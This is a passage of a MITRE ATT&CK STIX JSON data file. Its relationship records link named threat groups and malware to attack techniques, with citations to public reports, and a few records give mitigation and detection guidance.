chain `doFilter` on compromised systems to monitor all inbound requests to the local Tomcat web server, inspecting them for parameters like passwords and follow-on Java modules.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fc5c0e5f-b730-4396-9922-7e2e91b4a106","created":"2022-06-10T12:55:27.257Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has replayed stolen session token and passwords to trigger simple-approval MFA prompts in hope of the legitimate user will grant necessary approval.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T12:55:27.257Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc5cf1ea-f46f-4527-a8b5-7317c4e61dee","created":"2023-07-27T20:30:52.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.965Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has gathered stolen credentials, sensitive data such as point-of-sale (POS), and ATM data from a compromised network before exfiltration.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc610622-4ecf-4bf8-b27a-d0a11e4b9f15","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for newly constructed files on removable media","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc622e1d-cbbe-4d8e-b184-ebd23581ec71","created":"2024-07-25T20:35:14.563Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:35:14.563Z","description":"[MgBot](https://attack.mitre.org/software/S1146) can capture input and output audio streams from infected devices.(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc62b2fc-0a10-436e-b50a-49d708ac072f","created":"2022-12-13T20:20:20.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-25T21:10:30.479Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) downloaded malicious payloads onto compromised systems.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc62ec8c-5015-4f02-b9b6-3964082d101d","created":"2023-03-17T15:10:27.047Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:10:27.047Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) archived victim's data into a RAR file.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc661e81-fc5e-4243-874e-f311bc5a2d8d","type":"relationship","created":"2020-05-06T21:01:23.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.444Z","description":"[Attor](https://attack.mitre.org/software/S0438) has opened the registry and performed query searches.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"f-secure janicab","description":"Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.","url":"https://www.f-secure.com/weblog/archives/00002576.html"},{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","url":"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:07:36.513Z","description":"[Janicab](https://attack.mitre.org/software/S0163) captured screenshots and sent them out to a C2 server.(Citation: f-secure janicab)(Citation: Janicab)","relationship_type":"uses","source_ref":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc6b1d58-05bf-41a0-a7fd-fcbbae894430","type":"relationship","created":"2021-12-07T15:14:11.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T15:14:11.866Z","description":"(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc787de3-8a82-43f6-b649-f01a7006be54","type":"relationship","created":"2020-06-24T22:30:55.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-24T22:30:55.923Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc79f30d-94c8-400e-ab10-21d2a2527788","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","source_name":"Symantec Tick Apr 2016"}],"modified":"2019-03-22T19:57:37.435Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc7c27b4-e18f-486a-b7f8-9eb61eec23f2","type":"relationship","created":"2021-04-12T19:26:30.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:23:03.021Z","description":"(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc825f8c-ee7a-4b03-9d67-cd736d61b893","created":"2023-08-02T19:38:53.423Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T19:38:53.423Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can search for specific files on a compromised system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc857925-ff28-49f9-ba76-7ec2d29ba939","type":"relationship","created":"2020-03-19T23:45:03.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Symantec MuddyWater Dec 2018","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."}],"modified":"2020-03-19T23:45:03.148Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc86f198-f9d7-4b95-b26a-9cb9b922f2f1","type":"relationship","created":"2020-04-28T13:48:00.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T13:48:00.924Z","description":"(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc89b538-26d8-434a-954f-e7d0b384b506","created":"2023-01-11T21:39:52.425Z","revoked":false,"external_references":[{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T21:39:52.425Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053)’s Linux variant has terminated ESXi virtual machines.(Citation: Trend Micro AvosLocker Apr 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc8c8854-724f-4f2b-a297-1ae56c8726fd","created":"2024-08-14T22:30:06.022Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:30:06.022Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has created dedicated servers for command and control and exfiltration purposes.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc8ef14d-1a07-4f96-85c3-b62ba6bcffc1","created":"2020-03-16T14:49:02.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EnableMPRNotifications","description":"Microsoft. (2023, January 26). Policy CSP - WindowsLogon. Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowslogon"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T14:27:30.007Z","description":"Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (`C:\\Windows\\System32\\` by default) of a domain controller and/or local computer with a corresponding entry in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages`. \n\nStarting in Windows 11 22H2, the `EnableMPRNotifications` policy can be disabled through Group Policy or through a configuration service provider to prevent Winlogon from sending credentials to network providers.(Citation: EnableMPRNotifications)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc901b6f-3575-443c-9ba3-32ca1bebf7af","created":"2020-11-06T18:40:37.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike TTPs Dec 2017","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.846Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a command-line interface to interact with systems.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc96ae93-e2ff-4991-a605-9f8690d89949","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Oddvar Moe ADS1 Jan 2018","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"},{"source_name":"Oddvar Moe ADS2 Apr 2018","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"},{"source_name":"SpectorOps Host-Based Jul 2017","description":"Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.","url":"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"}]},{"type":"relationship","id":"relationship--fc99ba1c-8782-4864-9009-77f8338cb3ed","created":"2022-09-26T13:55:13.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T18:06:16.766Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can communicate with C2 over TCP and UDP.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc9a56ec-ef5f-4e45-b004-fe395d6b6d3f","type":"relationship","created":"2019-10-07T19:05:49.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2020-03-17T19:02:42.036Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has used cmd.exe to execute commands.(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc9b992b-d38d-46f5-84b5-13c0e116a717","created":"2024-02-09T19:10:41.894Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 